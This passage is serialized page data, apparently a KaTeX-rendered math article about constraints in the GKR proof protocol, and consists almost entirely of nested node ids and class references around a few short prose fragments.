06],{"type":23,"tag":139,"props":117444,"children":117446},{"className":117445,"style":116713},[2003],[],{"type":23,"tag":139,"props":117448,"children":117450},{"className":117449},[19632],[117451,117456],{"type":23,"tag":139,"props":117452,"children":117454},{"className":117453,"style":19639},[19632,19637,19638],[117455],{"type":28,"value":116549},{"type":23,"tag":139,"props":117457,"children":117459},{"className":117458},[2025],[117460],{"type":23,"tag":139,"props":117461,"children":117463},{"className":117462},[2030,19650],[117464,117493],{"type":23,"tag":139,"props":117465,"children":117467},{"className":117466},[2035],[117468,117488],{"type":23,"tag":139,"props":117469,"children":117471},{"className":117470,"style":112158},[2040],[117472],{"type":23,"tag":139,"props":117473,"children":117474},{"style":19663},[117475,117479],{"type":23,"tag":139,"props":117476,"children":117478},{"className":117477,"style":2050},[2049],[],{"type":23,"tag":139,"props":117480,"children":117482},{"className":117481},[2055,2056,2057,2058],[117483],{"type":23,"tag":139,"props":117484,"children":117486},{"className":117485,"style":112174},[2009,19596,2058],[117487],{"type":28,"value":6661},{"type":23,"tag":139,"props":117489,"children":117491},{"className":117490},[19753],[117492],{"type":28,"value":19756},{"type":23,"tag":139,"props":117494,"children":117496},{"className":117495},[2035],[117497],{"type":23,"tag":139,"props":117498,"children":117500},{"className":117499,"style":112189},[2040],[117501],{"type":23,"tag":139,"props":117502,"children":117503},{},[],{"type":23,"tag":139,"props":117505,"children":117507},{"className":117506,"style":2128},[2089],[],{"type":23,"tag":139,"props":117509,"children":117511},{"className":117510},[2009,28],[117512],{"type":23,"tag":139,"props":117513,"children":117515},{"className":117514},[2009],[117516],{"type":28,"value":47469},{"type":23,"tag":139,"props":117518,"children":117520},{"className":117519,"style":90951},[2009],[117521],{"type":28,"value":1057},{"type":23,"tag":139,"props":117523,"children":117525},{"className":117524},[2009,28],[117526],{"type":23,"tag":139,"props":117527,"children":117529},{"className":117528},[2009],[117530],{"type":28,"value":116625},{"type":23,"tag":139,"props":117532,"children":117534},{"className":117533,"style":90951},[2009],[117535],{"type":28,"value":1057},{"type":23,"tag":139,"props":117537,"children":117539},{"className":117538},[2009],[117540,117549],{"type":23,"tag":139,"props":117541,"children":117543},{"className":117542},[2009,28],[117544],{"type":23,"tag":139,"props":117545,"children":117547},{"className":117546},[2009],[117548],{"type":28,"value":116644},{"type":23,"tag":139,"props":117550,"children":117552},{"className":117551},[2025],[117553],{"type":23,"tag":139,"props":117554,"children":117556},{"className":117555},[2030,19650],[117557,117586],{"type":23,"tag":139,"props":117558,"children":117560},{"className":117559},[2035],[117561,117581],{"type":23,"tag":139,"props":117562,"children":117564},{"className":117563,"style":91480},[2040],[117565],{"type":23,"tag":139,"props":117566,"children":117567},{"style":112081},[117568,117572],{"type":23,"tag":139,"props":117569,"children":117571},{"className":117570,"style":2050},[2049],[],{"type":23,"tag":139,"props":117573,"children":117575},{"className":117574},[2055,2056,2057,2058],[117576],{"type":23,"tag":139,"props":117577,"children":117579},{"className":117578,"style":112174},[2009,19596,2058],[117580],{"type":28,"value":6661},{"type":23,"tag":139,"props":117582,"children":117584},{"className":117583},[19753],[117585],{"type":28,"value":19756},{"type":23,"tag":139,"props":117587,"children":117589},{"className":117588},[2035],[117590],{"type":23,"tag":139,"props":117591,"children":117593},{"className":117592,"style":116861},[2040],[117594],{"type":23,"tag":139,"props":117595,"children":117596},{},[],{"type":23,"tag":139,"props":117598,"children":117600},{"className":117599,"style":2090},[2089],[],{"type":23,"tag":139,"props":117602,"children":117604},{"className":117603},[2095],[117605],{"type":28,"value":109213},{"type":23,"tag":139,"props":117607,"children":117609},{"className":117608,"style":2090},[2089],[],{"type":23,"tag":139,"props":117611,"children":117613},{"className":117612},[1998],[117614,117618,117623,117632],{"type":23,"tag":139,"props":117615,"children":117617},{"className":117616,"style":2110},[2003],[],{"type":23,"tag":139,"props":117619,"children":117621},{"className":117620},[19725],[117622],{"type":28,"value":262},{"type":23,"tag":139,"props":117624,"children":117626},{"className":117625},[2009,28],[117627],{"type":23,"tag":139,"props":117628,"children":117630},{"className":117629},[2009],[117631],{"type":28,"value":116901},{"type":23,"tag":139,"props":117633,"children":117635},{"className":117634},[19747],[117636],{"type":28,"value":1104},{"type":23,"tag":24,"props":117638,"children":117639},{},[117640,117642,117811,117812,117981],{"type":28,"value":117641},"If we vary ",{"type":23,"tag":135,"props":117643,"children":117645},{"className":117644},[1981,1982],[117646],{"type":23,"tag":139,"props":117647,"children":117649},{"className":117648},[1987],[117650],{"type":23,"tag":139,"props":117651,"children":117653},{"className":117652,"ariaHidden":1993},[1992],[117654,117732],{"type":23,"tag":139,"props":117655,"children":117657},{"className":117656},[1998],[117658,117662,117719,117723,117728],{"type":23,"tag":139,"props":117659,"children":117661},{"className":117660,"style":107921},[2003],[],{"type":23,"tag":139,"props":117663,"children":117665},{"className":117664},[2009],[117666,117671],{"type":23,"tag":139,"props":117667,"children":117669},{"className":117668},[2009,19596],[117670],{"type":28,"value":17284},{"type":23,"tag":139,"props":117672,"children":117674},{"className":117673},[2025],[117675],{"type":23,"tag":139,"props":117676,"children":117678},{"className":117677},[2030,19650],[117679,117708],{"type":23,"tag":139,"props":117680,"children":117682},{"className":117681},[2035],[117683,117703],{"type":23,"tag":139,"props":117684,"children":117686},{"className":117685,"style":91003},[2040],[117687],{"type":23,"tag":139,"props":117688,"children":117689},{"style":91007},[117690,117694],{"type":23,"tag":139,"props":117691,"children":117693},{"className":117692,"style":2050},[2049],[],{"type":23,"tag":139,"props":117695,"children":117697},{"className":117696},[2055,2056,2057,2058],[117698],{"type":23,"tag":139,"props":117699,"children":117701},{"className":117700},[2009,2058],[117702],{"type":28,"value":2021},{"type":23,"tag":139,"props":117704,"children":117706},{"className":117705},[19753],[117707],{"type":28,"value":19756},{"type":23,"tag":139,"props":117709,"children":117711},{"className":117710},[2035],[117712],{"type":23,"tag":139,"props":117713,"children":117715},{"className":117714,"style":91034},[2040],[117716],{"type":23,"tag":139,"props":117717,"children":117718},{},[],{"type":23,"tag":139,"props":117720,"children":117722},{"className":117721,"style":2187},[2089],[],{"type":23,"tag":139,"props":117724,"children":117726},{"className":117725},[2192],[117727],{"type":28,"value":1067},{"type":23,"tag":139,"props":117729,"children":117731},{"className":117730,"style":2187},[2089],[],{"type":23,"tag":139,"props":117733,"children":117735},{"className":117734},[1998],[117736,117740,117781,117786,117791,117796,117801,117806],{"type":23,"tag":139,"props":117737,"children":117739},{"className":117738,"style":90893},[2003],[],{"type":23,"tag":139,"props":117741,"children":117743},{"className":117742},[2009],[117744,117753,117758,117767,117772],{"type":23,"tag":139,"props":117745,"children":117747},{"className":117746},[2009,28],[117748],{"type":23,"tag":139,"props":117749,"children":117751},{"className":117750},[2009],[117752],{"type":28,"value":91770},{"type":23,"tag":139,"props":117754,"children":117756},{"className":117755,"style":90951},[2009],[117757],{"type":28,"value":1057},{"type":23,"tag":139,"props":117759,"children":117761},{"className":117760},[2009,28],[117762],{"type":23,"tag":139,"props":117763,"children":117765},{"className":117764},[2009],[117766],{"type":28,"value":116625},{"type":23,"tag":139,"props":117768,"children":117770},{"className":117769,"style":90951},[2009],[117771],{"type":28,"value":1057},{"type":23,"tag":139,"props":117773,"children":117775},{"className":117774},[2009,28],[117776],{"type":23,"tag":139,"props":117777,"children":117779},{"className":117778},[2009],[117780],{"type":28,"value":116644},{"type":23,"tag":139,"props":117782,"children":117784},{"className":117783},[19725],[117785],{"type":28,"value":1723},{"type":23,"tag":139,"props":117787,"children":117789},{"className":117788},[2009],[117790],{"type":28,"value":2021},{"type":23,"tag":139,"props":117792,"children":117794},{"className":117793},[19747],[117795],{"type":28,"value":13423},{"type":23,"tag":139,"props":117797,"children":117799},{"className":117798},[19725],[117800],{"type":28,"value":1723},{"type":23,"tag":139,"props":117802,"children":117804},{"className":117803},[2009],[117805],{"type":28,"value":2021},{"type":23,"tag":139,"props":117807,"children":117809},{"className":117808},[19747],[117810],{"type":28,"value":13423},{"type":28,"value":9002},{"type":23,"tag":135,"props":117813,"children":117815},{"className":117814},[1981,1982],[117816],{"type":23,"tag":139,"props":117817,"children":117819},{"className":117818},[1987],[117820],{"type":23,"tag":139,"props":117821,"children":117823},{"className":117822,"ariaHidden":1993},[1992],[117824,117902],{"type":23,"tag":139,"props":117825,"children":117827},{"className":117826},[1998],[117828,117832,117889,117893,117898],{"type":23,"tag":139,"props":117829,"children":117831},{"className":117830,"style":107921},[2003],[],{"type":23,"tag":139,"props":117833,"children":117835},{"className":117834},[2009],[117836,117841],{"type":23,"tag":139,"props":117837,"children":117839},{"className":117838},[2009,19596],[117840],{"type":28,"value":17284},{"type":23,"tag":139,"props":117842,"children":117844},{"className":117843},[2025],[117845],{"type":23,"tag":139,"props":117846,"children":117848},{"className":117847},[2030,19650],[117849,117878],{"type":23,"tag":139,"props":117850,"children":117852},{"className":117851},[2035],[117853,117873],{"type":23,"tag":139,"props":117854,"children":117856},{"className":117855,"style":91003},[2040],[117857],{"type":23,"tag":139,"props":117858,"children":117859},{"style":91007},[117860,117864],{"type":23,"tag":139,"props":117861,"children":117863},{"className":117862,"style":2050},[2049],[],{"type":23,"tag":139,"props":117865,"children":117867},{"className":117866},[2055,2056,2057,2058],[117868],{"type":23,"tag":139,"props":117869,"children":117871},{"className":117870},[2009,2058],[117872],{"type":28,"value":647},{"type":23,"tag":139,"props":117874,"children":117876},{"className":117875},[19753],[117877],{"type":28,"value":19756},{"type":23,"tag":139,"props":117879,"children":117881},{"className":117880},[2035],[117882],{"type":23,"tag":139,"props":117883,"children":117885},{"className":117884,"style":91034},[2040],[117886],{"type":23,"tag":139,"props":117887,"children":117888},{},[],{"type":23,"tag":139,"props":117890,"children":117892},{"className":117891,"style":2187},[2089],[],{"type":23,"tag":139,"props":117894,"children":117896},{"className":117895},[2192],[117897],{"type":28,"value":1067},{"type":23,"tag":139,"props":117899,"children":117901},{"className":117900,"style":2187},[2089],[],{"type":23,"tag":139,"props":117903,"children":117905},{"className":117904},[1998],[117906,117910,117951,117956,117961,117966,117971,117976],{"type":23,"tag":139,"props":117907,"children":117909},{"className":117908,"style":90893},[2003],[],{"type":23,"tag":139,"props":117911,"children":117913},{"className":117912},[2009],[117914,117923,117928,117937,117942],{"type":23,"tag":139,"props":117915,"children":117917},{"className":117916},[2009,28],[117918],{"type":23,"tag":139,"props":117919,"children":117921},{"className":117920},[2009],[117922],{"type":28,"value":91770},{"type":23,"tag":139,"props":117924,"children":117926},{"className":117925,"style":90951},[2009],[117927],{"type":28,"value":1057},{"type":23,"tag":139,"props":117929,"children":117931},{"className":117930},[2009,28],[117932],{"type":23,"tag":139,"props":117933,"children":117935},{"className":117934},[2009],[117936],{"type":28,"value":116625},{"type":23,"tag":139,"props":117938,"children":117940},{"className":117939,"style":90951},[2009],[117941],{"type":28,"value":1057},{"type":23,"tag":139,"props":117943,"children":117945},{"className":117944},[2009,28],[117946],{"type":23,"tag":139,"props":117947,"children":117949},{"className":117948},[2009],[117950],{"type":28,"value":116644},{"type":23,"tag":139,"props":117952,"children":117954},{"className":117953},[19725],[117955],{"type":28,"value":1723},{"type":23,"tag":139,"props":117957,"children":117959},{"className":117958},[2009],[117960],{"type":28,"value":2021},{"type":23,"tag":139,"props":117962,"children":117964},{"className":117963},[19747],[117965],{"type":28,"value":13423},{"type":23,"tag":139,"props":117967,"children":117969},{"className":117968},[19725],[117970],{"type":28,"value":1723},{"type":23,"tag":139,"props":117972,"children":117974},{"className":117973},[2009],[117975],{"type":28,"value":647},{"type":23,"tag":139,"props":117977,"children":117979},{"className":117978},[19747],[117980],{"type":28,"value":13423},{"type":28,"value":117982}," we get the following constraint:",{"type":23,"tag":24,"props":117984,"children":117985},{},[117986],{"type":23,"tag":135,"props":117987,"children":117989},{"className":117988},[1981,1982],[117990],{"type":23,"tag":139,"props":117991,"children":117993},{"className":117992},[1987],[117994],{"type":23,"tag":139,"props":117995,"children":117997},{"className":117996,"ariaHidden":1993},[1992],[117998,118077,118155,118196],{"type":23,"tag":139,"props":117999,"children":118001},{"className":118000},[1998],[118002,118007,118064,118068,118073],{"type":23,"tag":139,"props":118003,"children":118006},{"className":118004,"style":118005},[2003],"height:0.5945em;vertical-align:-0.15em;",[],{"type":23,"tag":139,"props":118008,"children":118010},{"className":118009},[2009],[118011,118016],{"type":23,"tag":139,"props":118012,"children":118014},{"className":118013},[2009,19596],[118015],{"type":28,"value":17284},{"type":23,"tag":139,"props":118017,"children":118019},{"className":118018},[2025],[118020],{"type":23,"tag":139,"props":118021,"children":118023},{"className":118022},[2030,19650],[118024,118053],{"type":23,"tag":139,"props":118025,"children":118027},{"className":118026},[2035],[118028,118048],{"type":23,"tag":139,"props":118029,"children":118031},{"className":118030,"style":91003},[2040],[118032],{"type":23,"tag":139,"props":118033,"children":118034},{"style":91007},[118035,118039],{"type":23,"tag":139,"props":118036,"children":118038},{"className":118037,"style":2050},[2049],[],{"type":23,"tag":139,"props":118040,"children":118042},{"className":118041},[2055,2056,2057,2058],[118043],{"type":23,"tag":139,"props":118044,"children":118046},{"className":118045},[2009,2058],[118047],{"type":28,"value":2021},{"type":23,"tag":139,"props":118049,"children":118051},{"className":118050},[19753],[118052],{"type":28,"value":19756},{"type":23,"tag":139,"props":118054,"children":118056},{"className":118055},[2035],[118057],{"type":23,"tag":139,"props":118058,"children":118060},{"className":118059,"style":91034},[2040],[118061],{"type":23,"tag":139,"props":118062,"children":118063},{},[],{"type":23,"tag":139,"props":118065,"children":118067},{"className":118066,"style":2090},[2089],[],{"type":23,"tag":139,"props":118069,"children":118071},{"className":118070},[2095],[118072],{"type":28,"value":109213},{"type":23,"tag":139,"props":118074,"children":118076},{"className":118075,"style":2090},[2089],[],{"type":23,"tag":139,"props":118078,"children":118080},{"className":118079},[1998],[118081,118085,118142,118146,118151],{"type":23,"tag":139,"props":118082,"children":118084},{"className":118083,"style":118005},[2003],[],{"type":23,"tag":139,"props":118086,"children":118088},{"className":118087},[2009],[118089,118094],{"type":23,"tag":139,"props":118090,"children":118092},{"className":118091},[2009,19596],[118093],{"type":28,"value":17284},{"type":23,"tag":139,"props":118095,"children":118097},{"className":118096},[2025],[118098],{"type":23,"tag":139,"props":118099,"children":118101},{"className":118100},[2030,19650],[118102,118131],{"type":23,"tag":139,"props":118103,"children":118105},{"className":118104},[2035],[118106,118126],{"type":23,"tag":139,"props":118107,"children":118109},{"className":118108,"style":91003},[2040],[118110],{"type":23,"tag":139,"props":118111,"children":118112},{"style":91007},[118113,118117],{"type":23,"tag":139,"props":118114,"children":118116},{"className":118115,"style":2050},[2049],[],{"type":23,"tag":139,"props":118118,"children":118120},{"className":118119},[2055,2056,2057,2058],[118121],{"type":23,"tag":139,"props":118122,"children":118124},{"className":118123},[2009,2058],[118125],{"type":28,"value":647},{"type":23,"tag":139,"props":118127,"children":118129},{"className":118128},[19753],[118130],{"type":28,"value":19756},{"type":23,"tag":139,"props":118132,"children":118134},{"className":118133},[2035],[118135],{"type":23,"tag":139,"props":118136,"children":118138},{"className":118137,"style":91034},[2040],[118139],{"type":23,"tag":139,"props":118140,"children":118141},{},[],{"type":23,"tag":139,"props":118143,"children":118145},{"className":118144,"style":2090},[2089],[],{"type":23,"tag":139,"props":118147,"children":118149},{"className":118148},[2095],[118150],{"type":28,"value":109213},{"type":23,"tag":139,"props":118152,"children":118154},{"className":118153,"style":2090},[2089],[],{"type":23,"tag":139,"props":118156,"children":118158},{"className":118157},[1998],[118159,118163,118168,118178,118183,118187,118192],{"type":23,"tag":139,"props":118160,"children":118162},{"className":118161,"style":2110},[2003],[],{"type":23,"tag":139,"props":118164,"children":118166},{"className":118165},[19725],[118167],{"type":28,"value":262},{"type":23,"tag":139,"props":118169,"children":118171},{"className":118170},[2009,28],[118172],{"type":23,"tag":139,"props":118173,"children":118175},{"className":118174},[2009],[118176],{"type":28,"value":118177},"rest of product",{"type":23,"tag":139,"props":118179,"children":118181},{"className":118180},[19747],[118182],{"type":28,"value":1104},{"type":23,"tag":139,"props":118184,"children":118186},{"className":118185,"style":2187},[2089],[],{"type":23,"tag":139,"props":118188,"children":118190},{"className":118189},[2192],[118191],{"type":28,"value":1067},{"type":23,"tag":139,"props":118193,"children":118195},{"className":118194,"style":2187},[2089],[],{"type":23,"tag":139,"props":118197,"children":118199},{"className":118198},[1998],[118200,118204],{"type":23,"tag":139,"props":118201,"children":118203},{"className":118202,"style":112971},[2003],[],{"type":23,"tag":139,"props":118205,"children":118207},{"className":118206},[2009,28],[118208],{"type":23,"tag":139,"props":118209,"children":118211},{"className":118210},[2009],[118212],{"type":28,"value":112982},{"type":23,"tag":24,"props":118214,"children":118215},{},[118216,118218,118371],{"type":28,"value":118217},"This is bilinear in ",{"type":23,"tag":135,"props":118219,"children":118221},{"className":118220},[1981,1982],[118222],{"type":23,"tag":139,"props":118223,"children":118225},{"className":118224},[1987],[118226],{"type":23,"tag":139,"props":118227,"children":118229},{"className":118228,"ariaHidden":1993},[1992],[118230],{"type":23,"tag":139,"props":118231,"children":118233},{"className":118232},[1998],[118234,118238,118243,118300,118305,118309,118366],{"type":23,"tag":139,"props":118235,"children":118237},{"className":118236,"style":2110},[2003],[],{"type":23,"tag":139,"props":118239,"children":118241},{"className":118240},[19725],[118242],{"type":28,"value":262},{"type":23,"tag":139,"props":118244,"children":118246},{"className":118245},[2009],[118247,118252],{"type":23,"tag":139,"props":118248,"children":118250},{"className":118249},[2009,19596],[118251],{"type":28,"value":17284},{"type":23,"tag":139,"props":118253,"children":118255},{"className":118254},[2025],[118256],{"type":23,"tag":139,"props":118257,"children":118259},{"className":118258},[2030,19650],[118260,118289],{"type":23,"tag":139,"props":118261,"children":118263},{"className":118262},[2035],[118264,118284],{"type":23,"tag":139,"props":118265,"children":118267},{"className":118266,"style":91003},[2040],[118268],{"type":23,"tag":139,"props":118269,"children":118270},{"style":91007},[118271,118275],{"type":23,"tag":139,"props":118272,"children":118274},{"className":118273,"style":2050},[2049],[],{"type":23,"tag":139,"props":118276,"children":118278},{"className":118277},[2055,2056,2057,2058],[118279],{"type":23,"tag":139,"props":118280,"children":118282},{"className":118281},[2009,2058],[118283],{"type":28,"value":2021},{"type":23,"tag":139,"props":118285,"children":118287},{"className":118286},[19753],[118288],{"type":28,"value":19756},{"type":23,"tag":139,"props":118290,"children":118292},{"className":118291},[2035],[118293],{"type":23,"tag":139,"props":118294,"children":118296},{"className":118295,"style":91034},[2040],[118297],{"type":23,"tag":139,"props":118298,"children":118299},{},[],{"type":23,"tag":139,"props":118301,"children":118303},{"className":118302},[2121],[118304],{"type":28,"value":2124},{"type":23,"tag":139,"props":118306,"children":118308},{"className":118307,"style":2128},[2089],[],{"type":23,"tag":139,"props":118310,"children":118312},{"className":118311},[2009],[118313,118318],{"type":23,"tag":139,"props":118314,"children":118316},{"className":118315},[2009,19596],[118317],{"type":28,"value":17284},{"type":23,"tag":139,"props":118319,"children":118321},{"className":118320},[2025],[118322],{"type":23,"tag":139,"props":118323,"children":118325},{"className":118324},[2030,19650],[118326,118355],{"type":23,"tag":139,"props":118327,"children":118329},{"className":118328},[2035],[118330,118350],{"type":23,"tag":139,"props":118331,"children":118333},{"className":118332,"style":91003},[2040],[118334],{"type":23,"tag":139,"props":118335,"children":118336},{"style":91007},[118337,118341],{"type":23,"tag":139,"props":118338,"children":118340},{"className":118339,"style":2050},[2049],[],{"type":23,"tag":139,"props":118342,"children":118344},{"className":118343},[2055,2056,2057,2058],[118345],{"type":23,"tag":139,"props":118346,"children":118348},{"className":118347},[2009,2058],[118349],{"type":28,"value":647},{"type":23,"tag":139,"props":118351,"children":118353},{"className":118352},[19753],[118354],{"type":28,"value":19756},{"type":23,"tag":139,"props":118356,"children":118358},{"className":118357},[2035],[118359],{"type":23,"tag":139,"props":118360,"children":118362},{"className":118361,"style":91034},[2040],[118363],{"type":23,"tag":139,"props":118364,"children":118365},{},[],{"type":23,"tag":139,"props":118367,"children":118369},{"className":118368},[19747],[118370],{"type":28,"value":1104},{"type":28,"value":73},{"type":23,"tag":24,"props":118373,"children":118374},{},[118375,118377,118530],{"type":28,"value":118376},"We have two unknowns ",{"type":23,"tag":135,"props":118378,"children":118380},{"className":118379},[1981,1982],[118381],{"type":23,"tag":139,"props":118382,"children":118384},{"className":118383},[1987],[118385],{"type":23,"tag":139,"props":118386,"children":118388},{"className":118387,"ariaHidden":1993},[1992],[118389],{"type":23,"tag":139,"props":118390,"children":118392},{"className":118391},[1998],[118393,118397,118402,118459,118464,118468,118525],{"type":23,"tag":139,"props":118394,"children":118396},{"className":118395,"style":2110},[2003],[],{"type":23,"tag":139,"props":118398,"children":118400},{"className":118399},[19725],[118401],{"type":28,"value":262},{"type":23,"tag":139,"props":118403,"children":118405},{"className":118404},[2009],[118406,118411],{"type":23,"tag":139,"props":118407,"children":118409},{"className":118408},[2009,19596],[118410],{"type":28,"value":17284},{"type":23,"tag":139,"props":118412,"children":118414},{"className":118413},[2025],[118415],{"type":23,"tag":139,"props":118416,"children":118418},{"className":118417},[2030,19650],[118419,118448],{"type":23,"tag":139,"props":118420,"children":118422},{"className":118421},[2035],[118423,118443],{"type":23,"tag":139,"props":118424,"children":118426},{"className":118425,"style":91003},[2040],[118427],{"type":23,"tag":139,"props":118428,"children":118429},{"style":91007},[118430,118434],{"type":23,"tag":139,"props":118431,"children":118433},{"className":118432,"style":2050},[2049],[],{"type":23,"tag":139,"props":118435,"children":118437},{"className":118436},[2055,2056,2057,2058],[118438],{"type":23,"tag":139,"props":118439,"children":118441},{"className":118440},[2009,2058],[118442],{"type":28,"value":2021},{"type":23,"tag":139,"props":118444,"children":118446},{"className":118445},[19753],[118447],{"type":28,"value":19756},{"type":23,"tag":139,"props":118449,"children":118451},{"className":118450},[2035],[118452],{"type":23,"tag":139,"props":118453,"children":118455},{"className":118454,"style":91034},[2040],[118456],{"type":23,"tag":139,"props":118457,"children":118458},{},[],{"type":23,"tag":139,"props":118460,"children":118462},{"className":118461},[2121],[118463],{"type":28,"value":2124},{"type":23,"tag":139,"props":118465,"children":118467},{"className":118466,"style":2128},[2089],[],{"type":23,"tag":139,"props":118469,"children":118471},{"className":118470},[2009],[118472,118477],{"type":23,"tag":139,"props":118473,"children":118475},{"className":118474},[2009,19596],[118476],{"type":28,"value":17284},{"type":23,"tag":139,"props":118478,"children":118480},{"className":118479},[2025],[118481],{"type":23,"tag":139,"props":118482,"children":118484},{"className":118483},[2030,19650],[118485,118514],{"type":23,"tag":139,"props":118486,"children":118488},{"className":118487},[2035],[118489,118509],{"type":23,"tag":139,"props":118490,"children":118492},{"className":118491,"style":91003},[2040],[118493],{"type":23,"tag":139,"props":118494,"children":118495},{"style":91007},[118496,118500],{"type":23,"tag":139,"props":118497,"children":118499},{"className":118498,"style":2050},[2049],[],{"type":23,"tag":139,"props":118501,"children":118503},{"className":118502},[2055,2056,2057,2058],[118504],{"type":23,"tag":139,"props":118505,"children":118507},{"className":118506},[2009,2058],[118508],{"type":28,"value":647},{"type":23,"tag":139,"props":118510,"children":118512},{"className":118511},[19753],[118513],{"type":28,"value":19756},{"type":23,"tag":139,"props":118515,"children":118517},{"className":118516},[2035],[118518],{"type":23,"tag":139,"props":118519,"children":118521},{"className":118520,"style":91034},[2040],[118522],{"type":23,"tag":139,"props":118523,"children":118524},{},[],{"type":23,"tag":139,"props":118526,"children":118528},{"className":118527},[19747],[118529],{"type":28,"value":1104},{"type":28,"value":118531}," and two equations, one linear and one bilinear:",{"type":23,"tag":797,"props":118533,"children":118534},{},[118535,118862],{"type":23,"tag":801,"props":118536,"children":118537},{},[118538,118540],{"type":28,"value":118539},"Linear (from GKR): ",{"type":23,"tag":135,"props":118541,"children":118543},{"className":118542},[1981,1982],[118544],{"type":23,"tag":139,"props":118545,"children":118547},{"className":118546},[1987],[118548],{"type":23,"tag":139,"props":118549,"children":118551},{"className":118550,"ariaHidden":1993},[1992],[118552,118688,118823,118849],{"type":23,"tag":139,"props":118553,"children":118555},{"className":118554},[1998],[118556,118561,118618,118675,118679,118684],{"type":23,"tag":139,"props":118557,"children":118560},{"className":118558,"style":118559},[2003],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":139,"props":118562,"children":118564},{"className":118563},[2009],[118565,118570],{"type":23,"tag":139,"props":118566,"children":118568},{"className":118567},[2009,19596],[118569],{"type":28,"value":64},{"type":23,"tag":139,"props":118571,"children":118573},{"className":118572},[2025],[118574],{"type":23,"tag":139,"props":118575,"children":118577},{"className":118576},[2030,19650],[118578,118607],{"type":23,"tag":139,"props":118579,"children":118581},{"className":118580},[2035],[118582,118602],{"type":23,"tag":139,"props":118583,"children":118585},{"className":118584,"style":91003},[2040],[118586],{"type":23,"tag":139,"props":118587,"children":118588},{"style":91007},[118589,118593],{"type":23,"tag":139,"props":118590,"children":118592},{"className":118591,"style":2050},[2049],[],{"type":23,"tag":139,"props":118594,"children":118596},{"className":118595},[2055,2056,2057,2058],[118597],{"type":23,"tag":139,"props":118598,"children":118600},{"className":118599},[2009,2058],[118601],{"type":28,"value":2021},{"type":23,"tag":139,"props":118603,"children":118605},{"className":118604},[19753],[118606],{"type":28,"value":19756},{"type":23,"tag":139,"props":118608,"children":118610},{"className":118609},[2035],[118611],{"type":23,"tag":139,"props":118612,"children":118614},{"className":118613,"style":91034},[2040],[118615],{"type":23,"tag":139,"props":118616,"children":118617},{},[],{"type":23,"tag":139,"props":118619,"children":118621},{"className":118620},[2009],[118622,118627],{"type":23,"tag":139,"props":118623,"children":118625},{"className":118624},[2009,19596],[118626],{"type":28,"value":17284},{"type":23,"tag":139,"props":118628,"children":118630},{"className":118629},[2025],[118631],{"type":23,"tag":139,"props":118632,"children":118634},{"className":118633},[2030,19650],[118635,118664],{"type":23,"tag":139,"props":118636,"children":118638},{"className":118637},[2035],[118639,118659],{"type":23,"tag":139,"props":118640,"children":118642},{"className":118641,"style":91003},[2040],[118643],{"type":23,"tag":139,"props":118644,"children":118645},{"style":91007},[118646,118650],{"type":23,"tag":139,"props":118647,"children":118649},{"className":118648,"style":2050},[2049],[],{"type":23,"tag":139,"props":118651,"children":118653},{"className":118652},[2055,2056,2057,2058],[118654],{"type":23,"tag":139,"props":118655,"children":118657},{"className":118656},[2009,2058],[118658],{"type":28,"value":2021},{"type":23,"tag":139,"props":118660,"children":118662},{"className":118661},[19753],[118663],{"type":28,"value":19756},{"type":23,"tag":139,"props":118665,"children":118667},{"className":118666},[2035],[118668],{"type":23,"tag":139,"props":118669,"children":118671},{"className":118670,"style":91034},[2040],[118672],{"type":23,"tag":139,"props":118673,"children":118674},{},[],{"type":23,"tag":139,"props":118676,"children":118678},{"className":118677,"style":2090},[2089],[],{"type":23,"tag":139,"props":118680,"children":118682},{"className":118681},[2095],[118683],{"type":28,"value":2382},{"type":23,"tag":139,"props":118685,"children":118687},{"className":118686,"style":2090},[2089],[],{"type":23,"tag":139,"props":118689,"children":118691},{"className":118690},[1998],[118692,118696,118753,118810,118814,118819],{"type":23,"tag":139,"props":118693,"children":118695},{"className":118694,"style":118559},[2003],[],{"type":23,"tag":139,"props":118697,"children":118699},{"className":118698},[2009],[118700,118705],{"type":23,"tag":139,"props":118701,"children":118703},{"className":118702},[2009,19596],[118704],{"type":28,"value":64},{"type":23,"tag":139,"props":118706,"children":118708},{"className":118707},[2025],[118709],{"type":23,"tag":139,"props":118710,"children":118712},{"className":118711},[2030,19650],[118713,118742],{"type":23,"tag":139,"props":118714,"children":118716},{"className":118715},[2035],[118717,118737],{"type":23,"tag":139,"props":118718,"children":118720},{"className":118719,"style":91003},[2040],[118721],{"type":23,"tag":139,"props":118722,"children":118723},{"style":91007},[118724,118728],{"type":23,"tag":139,"props":118725,"children":118727},{"className":118726,"style":2050},[2049],[],{"type":23,"tag":139,"props":118729,"children":118731},{"className":118730},[2055,2056,2057,2058],[118732],{"type":23,"tag":139,"props":118733,"children":118735},{"className":118734},[2009,2058],[118736],{"type":28,"value":647},{"type":23,"tag":139,"props":118738,"children":118740},{"className":118739},[19753],[118741],{"type":28,"value":19756},{"type":23,"tag":139,"props":118743,"children":118745},{"className":118744},[2035],[118746],{"type":23,"tag":139,"props":118747,"children":118749},{"className":118748,"style":91034},[2040],[118750],{"type":23,"tag":139,"props":118751,"children":118752},{},[],{"type":23,"tag":139,"props":118754,"children":118756},{"className":118755},[2009],[118757,118762],{"type":23,"tag":139,"props":118758,"children":118760},{"className":118759},[2009,19596],[118761],{"type":28,"value":17284},{"type":23,"tag":139,"props":118763,"children":118765},{"className":118764},[2025],[118766],{"type":23,"tag":139,"props":118767,"children":118769},{"className":118768},[2030,19650],[118770,118799],{"type":23,"tag":139,"props":118771,"children":118773},{"className":118772},[2035],[118774,118794],{"type":23,"tag":139,"props":118775,"children":118777},{"className":118776,"style":91003},[2040],[118778],{"type":23,"tag":139,"props":118779,"children":118780},{"style":91007},[118781,118785],{"type":23,"tag":139,"props":118782,"children":118784},{"className":118783,"style":2050},[2049],[],{"type":23,"tag":139,"props":118786,"children":118788},{"className":118787},[2055,2056,2057,2058],[118789],{"type":23,"tag":139,"props":118790,"children":118792},{"className":118791},[2009,2058],[118793],{"type":28,"value":647},{"type":23,"tag":139,"props":118795,"children":118797},{"className":118796},[19753],[118798],{"type":28,"value":19756},{"type":23,"tag":139,"props":118800,"children":118802},{"className":118801},[2035],[118803],{"type":23,"tag":139,"props":118804,"children":118806},{"className":118805,"style":91034},[2040],[118807],{"type":23,"tag":139,"props":118808,"children":118809},{},[],{"type":23,"tag":139,"props":118811,"children":118813},{"className":118812,"style":2090},[2089],[],{"type":23,"tag":139,"props":118815,"children":118817},{"className":118816},[2095],[118818],{"type":28,"value":2382},{"type":23,"tag":139,"props":118820,"children":118822},{"className":118821,"style":2090},[2089],[],{"type":23,"tag":139,"props":118824,"children":118826},{"className":118825},[1998]